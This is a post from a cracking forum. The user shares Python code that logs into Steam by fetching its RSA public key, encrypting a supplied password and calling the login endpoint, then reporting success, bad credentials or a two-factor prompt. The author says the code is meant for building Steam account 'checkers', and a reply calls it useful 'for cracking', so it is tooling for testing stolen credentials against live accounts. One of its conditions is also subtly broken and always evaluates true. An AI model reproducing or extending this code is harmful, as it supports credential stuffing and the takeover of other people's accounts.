Navigation X
ALERT
Click here to register with a few steps and explore all our cool stuff we have to offer!




   1328

Steam Password RSA Login - Source Code

by Deaepunisher - 08 May, 2022 - 03:14 PM
This post is by a banned member (Deaepunisher) - Unhide
648
Posts
240
Threads
6 Years of service
#1
(This post was last modified: 08 May, 2022 - 03:29 PM by Deaepunisher. Edited 1 time in total.)
So I Found Out How To Handle The RSA Thing That You Get While Trying To Make Kekr For Steam On Python
Code:
import base64, time, requests, rsa
username = input("[+] Username: ")
password = input("[+] Password: ")
# All Credit Goes To Me On Cracked.io/Soud69
# Pls Dont Forget To Give Me Credit If You Make Any Kekr <3
req = requests.post("https://steamcommunity.com/login/getrsakey/",data={"username":username},headers={"Accept":"*/*","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8","Origin":"https://steamcommunity.com","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148","Accept-Encoding":"gzip, deflate, br","Accept-Language":"en-us"})
rsa_mod = int(req.json()['publickey_mod'], 16)
rsa_exp = int(req.json()['publickey_exp'], 16)
rsa_timestamp = req.json()['timestamp']
last = rsa.PublicKey(rsa_mod, rsa_exp)
password_i = base64.b64encode(rsa.encrypt(password.encode('utf-8'),rsa.PublicKey(rsa_mod, rsa_exp)))
login = requests.post("https://steamcommunity.com/login/dologin/",data={"donotcache":time.time(),"password":password_i,"username":username,"twofactorcode":"","emailauth":"","loginfriendlyname":"","captchagid":"-1","captcha_text":"","emailsteamid":"","rsatimestamp":rsa_timestamp,"remember_login":"false","oauth_client_id":"3638BFB1"},headers={"Accept":"*/*","Content-Type":"application/x-www-form-urlencoded; charset=UTF-8","Origin":"https://steamcommunity.com","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (iPhone; CPU iPhone OS 13_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148","Referer":"https://steamcommunity.com/mobilelogin?oauth_client_id=3638BFB1&oauth_scope=read_profile%20write_profile%20read_client%20write_client","Accept-Encoding":"gzip, deflate, br","Accept-Language":"en-us"})
print(login.text)
if 'The account name or password that you have entered is incorrect' in login.text:
    print("[-] Bad Info")
elif 'Incorrect account name or password.' in login.text:
    print("[-] Bad Info")
elif '"success":true,"' in login.text:
    print("[+] Login Success")
    id = login.json()["transfer_parameters"]["steamid"]
    print(f"ID: {id}")
elif 'requires_twofactor":true,"' or 'emailauth_needed":true' in login.text:
    print("[!] 2Factor")
else:
    print("[-] Error!")
    print(login.text)
input()
Pls Dont Forget To Givr Credit PepeKnife
This post is by a banned member (UberFuck) - Unhide
UberFuck  
Godlike
1.554
Posts
375
Threads
7 Years of service
#2
Thanks for sharing.  Never had to deal with RSA keys for cracking, but this will be a good reference to bookmark just in case.

Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
or
Sign in
Already have an account? Sign in here.


Forum Jump:


Users browsing this thread: 1 Guest(s)